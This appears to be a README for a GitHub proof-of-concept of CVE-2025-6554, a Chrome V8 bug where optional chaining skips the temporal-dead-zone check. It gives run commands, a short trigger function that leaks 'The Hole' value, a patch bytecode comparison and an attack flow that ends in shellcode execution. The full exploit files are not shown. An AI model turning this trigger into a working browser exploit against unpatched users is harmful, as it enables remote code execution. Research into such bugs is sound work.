CVE-2025-6554 Proof of Concept

⚠️ Security Research Project - This project is intended solely for security research and educational purposes. Do not use in production environments.

📋 Project Overview

CVE-2025-6554 is a critical vulnerability in the Chrome V8 engine, involving the "Temporal Dead Zone" (TDZ) check mechanism in JavaScript. This project provides a complete proof-of-concept exploit code and demonstration tools.

🔍 Vulnerability Description

The vulnerability exists in the V8 engine's handling of the optional chaining operator (?.), where it fails to properly check whether a variable has been initialized, allowing access to undeclared variables and bypassing the TDZ protection mechanism.

🎯 Impact Scope

• Type confusion attacks
• Stack operations
• Scope check bypass
• Memory leaks

🚀 Quick Start

Requirements

• Node.js 16+ or a debug build of Chrome V8
• Modern browser (Chrome/Edge/Firefox)

Installation Steps

1. Clone the repository

git clone https://github.com/9Insomnie/CVE-2025-6554.git
cd CVE-2025-6554

2. View the file structure

CVE-2025-6554/
├── Exploit.js              # Original exploit code  
├── Test-Exploit.js         # Test version
├── poc.html                # Detection file
├── README.md               # Project description
└── 使用说明.md             # Detailed usage guide (Chinese)

🛠️ Usage

Method 1: Using V8 debug build

# Run with V8 d8 debugger
c:\path\to\v8\out\x64.debug\d8 --allow-natives-syntax --print-bytecode Exploit.js

Method 2: Using Node.js

# Run the test version
node Test-Exploit.js

# Or run the original exploit code
node Exploit.js

Method 3: Browser testing

Open the HTML file directly in a browser to test (a browser with relevant features is required).

🔬 Technical Details

Vulnerability Principle

function leak_hole() {
    let x;
    delete x?.[y]?.a;  // Use undeclared variable y
    return y;           // Should throw ReferenceError
    let y;              // y is declared here
}

Bytecode Comparison

Before patch:

0x32600100133 @   11 : b6 00             ThrowReferenceErrorIfHole [0]

After patch:

0x29f00100133 @   11 : b6 00             ThrowReferenceErrorIfHole [0]
0x29f00100144 @   28 : b6 00             ThrowReferenceErrorIfHole [0]  // Added check

Attack Flow

1. Trigger vulnerability → delete x?.[y]?.a
2. TDZ bypass → Access uninitialized variable
3. Memory leak → Capture "The Hole" value
4. Type confusion → Exploit memory addresses
5. Code execution → Execute shellcode

📊 Test Results

Expected Behavior

• Before patch: Successfully captures "The Hole" value
• After patch: Throws ReferenceError, preventing access

Verification Method

# Check if the vulnerability exists
node Test-Exploit.js

# View detailed bytecode
d8 --allow-natives-syntax --print-bytecode Exploit.js

🔒 Security Notes

⚠️ Important Reminder

1. Research only - This project is for security research and vulnerability verification only
2. Do not maliciously use - Do not use for attacking or compromising systems
3. Educational purpose - Primarily for understanding JavaScript engine security mechanisms
4. Isolated environment - Recommended to test in an isolated environment

🛡️ Mitigation Recommendations

• Update Chrome browser promptly
• Enable security sandbox
• Monitor anomalous behavior
• Use the latest version of the V8 engine

📚 Technical Documentation

Related Resources

• V8 Engine Official Documentation
• CVE-2025-6554 Details
• JavaScript Engine Security Research

Research Background

This vulnerability was discovered by security researchers and involves the TDZ check mechanism in the V8 engine. Through the optional chaining operator, an attacker can bypass variable initialization checks and gain control over memory.

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

🙏 Acknowledgments

• V8 Engine Team
• Chrome Security Team
• All security researchers involved

⚠️ Disclaimer: This project is intended solely for security research and educational purposes. Users assume all risks associated with its use; the author disclaims any legal liability.

🔒 Security Report: If you discover a new security issue, please contact via GitHub Issues.